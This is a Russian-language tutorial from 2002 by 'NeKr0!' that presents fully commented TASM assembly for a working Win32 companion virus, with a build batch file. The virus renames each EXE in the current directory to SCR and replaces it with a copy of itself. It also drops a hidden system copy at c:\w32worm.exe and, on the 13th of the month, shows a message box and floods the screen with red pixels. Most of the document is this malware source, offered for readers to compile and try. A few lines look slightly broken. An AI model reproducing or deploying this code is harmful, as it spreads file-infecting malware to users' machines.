Win32 virii writing tutorial. Что делать? С чего начать?
Научись летать - инструкторов тьма
Лишь ленивый не учит...
...и вперёд,
вперёд под мостом как Чкалов.
Аквариум. Чкалов.
Посмотрел однажды я интернете всякие последние е-зины новые и приобщиться
мне захотелось к доброму и вечному ;). А облом - кроме 29A ничего и нету, в
смысле есть, но блин ..... [rRLf] и [PWV] и тд.... Куда мы катимся??? Куда-то
назад к бат-вирям под сотню кил. Даже если и мелькнет что-то на асме - все равно
основная процедура распространения виря - на VBS и тд. А для кого старались
29A, MATRiX и иже с ними? Где то золотое время, когда вирмакеров и их групп
было десятки, когда компьютерный запад икал и крестился при упоминании России?
Грустно.....
Ну да ладно. Надо обучаться - переходить на новый уровень Вин32. И я собира-
юсь помочь в этом немного. Ниже представлен полностью комментированный
вирус-спутник (компаньон) основные задачи которого следующие:
1. Взять коммандную стоку и узнать из нее свое имя.
2. Найти первый ЕХЕшник в текущей дире.
3. Переименовать его в SCR.
4. Cамому скопироваться на его место под его именем.
5. Найти следущий и ГОТО 3.
6. Когда ЕХЕшников не осталось - скинуть свой дроппер в корень диска Ц.
7. Проверить сегодняшнее число.
8. Если 13 - то сделать графический эффект.
9. Если не 13 - запустить файло которое хотел запустить юзверь.
10. Выйти с чувством выполненного долга.
Вирь написан специально как тестовый экземпляр, но он полностью рабочий.
Создайте себе какую-нибудь новую диру (C:\TEST\) запишите туда несколько ЕХЕ и
откомпилированный вирус и запускайте без опасений - из этой диры он никуда не
выйдет. Так же он специально написан для того, чтобы ВЫ могли разобраться в асме
под Вин32, он специально не содержит никакой оптимизации. Изучайте !
Для тех кто не пользовался TASM'ом - батник для компиляции:
tasm32.exe /mx /m3 %1.asm,,;
tlink32.exe /Tpe /aa /c /v %1.obj,,, import32.lib,
del %1.obj
del %1.lst
del %1.map
Использовать как make.bat worm
имя файла должно быть без расширения...
За сим пока все - учитесь и пробуйте.
© 2002 NeKr0!
.386 ;Минимальный тип проца на котором прога сможет работать
.model flat ;Плоская модель
locals
;====================== Используемые нами API-функции
extrn FindFirstFileA:proc
extrn FindNextFileA:proc
extrn SetFileAttributesA:proc
extrn MoveFileA:proc
extrn CopyFileA:proc
extrn GetCommandLineA:proc
extrn CreateProcessA:proc
extrn lstrcpyA:proc
extrn ExitProcess:proc
extrn CreateFileA:proc
extrn CloseHandle:proc
extrn MessageBoxA:proc
extrn GetDC:proc
extrn SetPixel:proc
extrn GetSystemMetrics:proc
extrn ExitProcess:proc
extrn GetSystemTime:proc
extrn MessageBoxA:proc
;====================== Сегмент данных
.data
Tdate: ;Струтура для получения времени
Tyear dw 0 ;/Год
Tmonth dw 0 ;|Месяц
Tdow dw 0 ;|День недели
Tday dw 0 ;|Число
Thour dw 0 ;|Час, сек и т.д.
Tmin dw 0 ;|
Tsec dw 0 ;|
Tmilsec dw 0 ;\
xcoord dd 0 ;Здесь будет длина экрана по Х
ycoord dd 0 ;А здесь по Y
newx dd 0 ;Координаты случайной точки Х
newy dd 0 ;То же но для Y
dc dd 0 ;Хэндл экрана
exe db '*.EXE',0 ; маска поиска файлов
FHandle dd 0 ; хендл файла
processinf dd 4 dup (0) ; PROCESS_INFORMATION
startupinf dd 4 dup (0) ; STARTUPINFO
SearchRec db 44 dup (0) ; /структура поиска
FileName db 274 dup (0) ; \буффер имени файла в структуре
NewName db 260 dup (0) ; буффер под новое имя файла
MyName db 260 dup (0) ; имя нашего виря
drp db 'c:\w32worm.exe',0 ; Имя дроппера
CopyLeft db ' [Win32.Companion by NeKr0!] ',0
txt db '!! Vivat Egor Letov !!',0
;====================== Начало проги
.code
worm:
call GetCommandLineA ;Получим параметры запуска
push eax ;eax = указатель на параметры
push offset MyName ;Указатель на буфер
call lstrcpyA ;Скопируем строку в наш буфер
mov edi,eax ;Запомним указатель на него
search:
cmp byte ptr [edi],'.' ;Нашли точку?
jz found_dot ;ДА! jmp found_dot
inc edi ;Cдвинем указатель на 1
jmp search ;Продолжим искать далее
found_dot:
mov esi,edi ;Найденная позиция точки
inc esi
add edi,4
mov byte ptr [edi],00 ;Запишем ноль после имени файла
infect: ;Найдем ЕХЕ
push offset SearchRec ;указатель на структуру поиска
push offset exe ;Указатель на маску
call FindFirstFileA ;Ищем файлы
mov dword ptr [FHandle],eax ;Сохраним указатель на найденный файл
check_exe:
cmp eax,-1 ;Ошибка??
je Drop ;Тогда уходим...
or eax,eax ;Кончились ЕХЕшники?
jz Drop ;Да! уходим на дроппер
infect_file: ;Процедура заражения
push offset FileName ;Имя найденного файла
push offset NewName ;Буффер под новое имя файла
call lstrcpyA ;Копируем одно в другое
mov edi,eax ;Указатель на скопированную строку
search_2:
cmp byte ptr [edi],'.' ;Ищем точку в имени файла
jz found_dot2 ;Нашли?
inc edi ;Сдвигаем указатель
jmp search_2 ;Ищем заново
found_dot2:
inc edi ;Указатель на первый символ после точки
mov dword ptr [edi],'rcs' ;Меняем EXE на SCR
mov byte ptr [edi+3],0 ;Зкончим все нулем
push offset NewName ;Указатель на переименованное имя
push offset FileName ;Указатель на имя найденного файла
call MoveFileA ;Переименовываем *.exe - *.scr
or eax,eax ;Проверим на ошибку
jz Next ;Если ошибка(такой файл уже есть) выход
push 1 ;Истина
;(не переписывать файло если оно уже есть)
push offset FileName ;Указатель на Имя уже не существующего файла
push offset MyName+1 ;Укзатель на наш файл с вирем
call CopyFileA ;Копируем одно в другое
Next:
push offset SearchRec ;Указатель снова на структуру поиска
push dword ptr [FHandle] ;Вспомним хендл
call FindNextFileA ;Ищем следущую жертву
jmp check_exe ;И понеслось все по новой
drop: ;Создаем дроппер в корне диска Ц
push 0 ;Ложь (Перезаписывать файло)
push offset drp ;Указатель на имя дроппера
push offset MyName+1 ;Указатель на имя файла с вирем
call CopyFileA ;Копируем
push 00000001h OR 00000002h ;Аттрибуты скрытый и системный
lea eax,drp ;Ставим аттрибуты на дроппер
push eax ;Передадим параметр функции
call SetFileAttributesA ;Выполним задачу
runz: ;Запустим жертву, но сначала проверим
push offset Tdate ;время, точнее день.
call GetSystemTime
cmp Tday,13 ;Сегодня судный день?
je payload ;ДА !!!
push offset processinf ;Указатели на различные виндовые
push offset startupinf ;структуры
sub eax,eax ;Получаем ноль
push eax ;И заполняем большинство нулем
push eax ;
push 10h ;
push eax ;
push eax ;
push eax ;
call GetCommandLineA ;Возьмем указатель на параметры запуска
inc eax ;и передадим их запускаемой жертве
push eax ;Ща будем узнавать кого надо запустить
mov dword ptr [esi],'rcs' ;в si мы сохранили указатель на расширение
;файла, которое и заменим на SCR
push offset MyName+1 ;Готовое имя жертвы для запуска
call CreateProcessA ;Выполняем жертву
push 0 ;Код выхода
call ExitProcess ;Выходим
payload:
push 0
push offset CopyLeft
push offset txt
push 0
call MessageBoxA
xor eax,eax ;Получим хендл экрана
push eax
call GetDC
mov dword ptr dc,eax ;Сохраним его
push 16
call GetSystemMetrics ;Получим размер эрана по Х
mov dword ptr xcoord,eax
push 17
call GetSystemMetrics ;Получим размер экрана по Y
mov dword ptr ycoord,eax
next_pix:
mov eax,dword ptr xcoord ;Сгенерим случайное число от 0 до Х
push eax
call random
mov dword ptr newx,eax
mov eax,dword ptr ycoord ;Сгенерим случайное число от 0 до Y
push eax
call random
mov 4 ptr newy,eax
push 200 ;Нарисуем там точку красного цвета
push newy ;Координата Х
push newx ;Координата Y
push dc ;Хендл экрана
call SetPixel ;Ставим точку
jmp next_pix ;И т.д.
random proc ;Генерим случайное число
;от 0 до параметра в стеке
push edx ;сохраним EDX
a2a: db 0fh, 31h ;код инструкции RDTCS - читаем таймер
;в регистры EDX:EAX
xor edx, edx ;обнуляем EDX
div dword ptr [esp+8] ;Делим
in al,40h ;Еще случайное число
add dl,al ;Добавляем
xchg eax, edx ;Запоминаем
r_out: pop edx ;восстановим EDX
ret 4 ;выйдем и затрем параметр в стеке
random endp
ends
end worm ;Ну вот и все - первый Win32 вирь готов!
; УРР-Р-АА-А-А !!!!!!!!!!!!!!!!!!!!!!!!!
|